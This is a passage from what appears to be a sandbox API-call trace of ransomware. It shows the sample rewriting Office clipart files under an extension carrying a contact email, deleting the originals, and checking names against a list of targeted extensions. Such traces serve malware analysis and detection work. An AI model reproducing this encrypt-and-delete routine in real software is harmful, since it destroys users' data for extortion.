(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.364] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7876) returned 1 [0197.364] CloseHandle (hObject=0x220) returned 1 [0197.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf")) returned 0x20 [0197.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.364] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.364] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0197.364] GetLastError () returned 0x0 [0197.365] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1ec4, lpOverlapped=0x0) returned 1 [0197.366] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1ed0, lpOverlapped=0x0) returned 1 [0197.367] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.367] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.367] SetEndOfFile (hFile=0x200) returned 1 [0197.367] CloseHandle (hObject=0x200) returned 1 [0197.367] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.367] SetEndOfFile (hFile=0x220) returned 1 [0197.368] CloseHandle (hObject=0x220) returned 1 [0197.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf")) returned 1 [0197.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0197.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0197.369] lstrlenW (lpString=".doc") returned 4 [0197.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.369] lstrlenW (lpString=".docx") returned 5 [0197.369] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0197.369] lstrlenW (lpString=".pdf") returned 4 [0197.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.369] lstrlenW (lpString=".xls") returned 4 [0197.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.369] lstrlenW (lpString=".xlsx") returned 5 [0197.369] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0197.369] lstrlenW (lpString=".ppt") returned 4 [0197.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0197.369] lstrlenW (lpString=".zip") returned 4 [0197.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.370] lstrlenW (lpString=".rar") returned 4 [0197.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.370] lstrlenW (lpString=".bz2") returned 4 [0197.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.370] lstrlenW (lpString=".7z") returned 3 [0197.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0197.370] lstrlenW (lpString=".dbf") returned 4 [0197.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0197.370] lstrlenW (lpString=".1cd") returned 4 [0197.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0197.370] lstrlenW (lpString=".jpg") returned 4 [0197.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0197.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0197.370] lstrlenW (lpString=".doc") returned 4 [0197.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.370] lstrlenW (lpString=".docx") returned 5 [0197.370] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0197.370] lstrlenW (lpString=".pdf") returned 4 [0197.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.370] lstrlenW (lpString=".xls") returned 4 [0197.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.370] lstrlenW (lpString=".xlsx") returned 5 [0197.370] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0197.370] lstrlenW (lpString=".ppt") returned 4 [0197.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0197.371] lstrlenW (lpString=".zip") returned 4 [0197.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.371] lstrlenW (lpString=".rar") returned 4 [0197.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.371] lstrlenW (lpString=".bz2") returned 4 [0197.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.371] lstrlenW (lpString=".7z") returned 3 [0197.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0197.371] lstrlenW (lpString=".dbf") returned 4 [0197.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0197.371] lstrlenW (lpString=".1cd") returned 4 [0197.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0197.371] lstrlenW (lpString=".jpg") returned 4 [0197.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.371] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.371] lstrlenW (lpString="J0152878.WMF") returned 12 [0197.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.564] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=14888) returned 1 [0198.564] CloseHandle (hObject=0x1fc) returned 1 [0198.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf")) returned 0x20 [0198.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.564] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.564] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.565] GetLastError () returned 0x0 [0198.565] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3a28, lpOverlapped=0x0) returned 1 [0198.566] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3a30, lpOverlapped=0x0) returned 1 [0198.567] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.568] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.568] SetEndOfFile (hFile=0x1cc) returned 1 [0198.568] CloseHandle (hObject=0x1cc) returned 1 [0198.568] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.568] SetEndOfFile (hFile=0x1fc) returned 1 [0198.569] CloseHandle (hObject=0x1fc) returned 1 [0198.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf")) returned 1 [0198.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0198.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0198.569] lstrlenW (lpString=".doc") returned 4 [0198.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.569] lstrlenW (lpString=".docx") returned 5 [0198.569] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.569] lstrlenW (lpString=".pdf") returned 4 [0198.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.569] lstrlenW (lpString=".xls") returned 4 [0198.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.569] lstrlenW (lpString=".xlsx") returned 5 [0198.569] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.569] lstrlenW (lpString=".ppt") returned 4 [0198.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0198.569] lstrlenW (lpString=".zip") returned 4 [0198.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.570] lstrlenW (lpString=".rar") returned 4 [0198.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.570] lstrlenW (lpString=".bz2") returned 4 [0198.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.570] lstrlenW (lpString=".7z") returned 3 [0198.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0198.570] lstrlenW (lpString=".dbf") returned 4 [0198.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0198.570] lstrlenW (lpString=".1cd") returned 4 [0198.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0198.570] lstrlenW (lpString=".jpg") returned 4 [0198.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0198.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0198.570] lstrlenW (lpString=".doc") returned 4 [0198.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.570] lstrlenW (lpString=".docx") returned 5 [0198.570] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.570] lstrlenW (lpString=".pdf") returned 4 [0198.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.570] lstrlenW (lpString=".xls") returned 4 [0198.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.570] lstrlenW (lpString=".xlsx") returned 5 [0198.570] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.570] lstrlenW (lpString=".ppt") returned 4 [0198.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0198.570] lstrlenW (lpString=".zip") returned 4 [0198.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.570] lstrlenW (lpString=".rar") returned 4 [0198.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.571] lstrlenW (lpString=".bz2") returned 4 [0198.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.571] lstrlenW (lpString=".7z") returned 3 [0198.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0198.571] lstrlenW (lpString=".dbf") returned 4 [0198.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0198.571] lstrlenW (lpString=".1cd") returned 4 [0198.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0198.571] lstrlenW (lpString=".jpg") returned 4 [0198.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.571] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.571] lstrlenW (lpString="J0152890.WMF") returned 12 [0198.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.572] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1940) returned 1 [0198.572] CloseHandle (hObject=0x1fc) returned 1 [0198.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf")) returned 0x20 [0198.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.572] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.572] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.572] GetLastError () returned 0x0 [0198.572] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x794, lpOverlapped=0x0) returned 1 [0198.574] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0198.575] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.575] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.575] SetEndOfFile (hFile=0x1cc) returned 1 [0198.575] CloseHandle (hObject=0x1cc) returned 1 [0198.576] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.576] SetEndOfFile (hFile=0x1fc) returned 1 [0198.576] CloseHandle (hObject=0x1fc) returned 1 [0198.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf")) returned 1 [0198.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0198.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0198.577] lstrlenW (lpString=".doc") returned 4 [0198.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.577] lstrlenW (lpString=".docx") returned 5 [0198.577] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0198.577] lstrlenW (lpString=".pdf") returned 4 [0198.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.577] lstrlenW (lpString=".xls") returned 4 [0198.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.577] lstrlenW (lpString=".xlsx") returned 5 [0198.577] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0198.577] lstrlenW (lpString=".ppt") returned 4 [0198.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0198.577] lstrlenW (lpString=".zip") returned 4 [0198.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.577] lstrlenW (lpString=".rar") returned 4 [0198.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.577] lstrlenW (lpString=".bz2") returned 4 [0198.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.577] lstrlenW (lpString=".7z") returned 3 [0198.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0198.577] lstrlenW (lpString=".dbf") returned 4 [0198.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0198.577] lstrlenW (lpString=".1cd") returned 4 [0198.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0198.578] lstrlenW (lpString=".jpg") returned 4 [0198.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0198.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0198.578] lstrlenW (lpString=".doc") returned 4 [0198.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.578] lstrlenW (lpString=".docx") returned 5 [0198.578] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0198.578] lstrlenW (lpString=".pdf") returned 4 [0198.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.578] lstrlenW (lpString=".xls") returned 4 [0198.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.578] lstrlenW (lpString=".xlsx") returned 5 [0198.578] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0198.578] lstrlenW (lpString=".ppt") returned 4 [0198.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0198.578] lstrlenW (lpString=".zip") returned 4 [0198.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.578] lstrlenW (lpString=".rar") returned 4 [0198.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.578] lstrlenW (lpString=".bz2") returned 4 [0198.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.578] lstrlenW (lpString=".7z") returned 3 [0198.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0198.578] lstrlenW (lpString=".dbf") returned 4 [0198.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0198.578] lstrlenW (lpString=".1cd") returned 4 [0198.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0198.579] lstrlenW (lpString=".jpg") returned 4 [0198.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.579] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.579] lstrlenW (lpString="J0152892.WMF") returned 12 [0198.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.579] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=10668) returned 1 [0198.579] CloseHandle (hObject=0x1fc) returned 1 [0198.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf")) returned 0x20 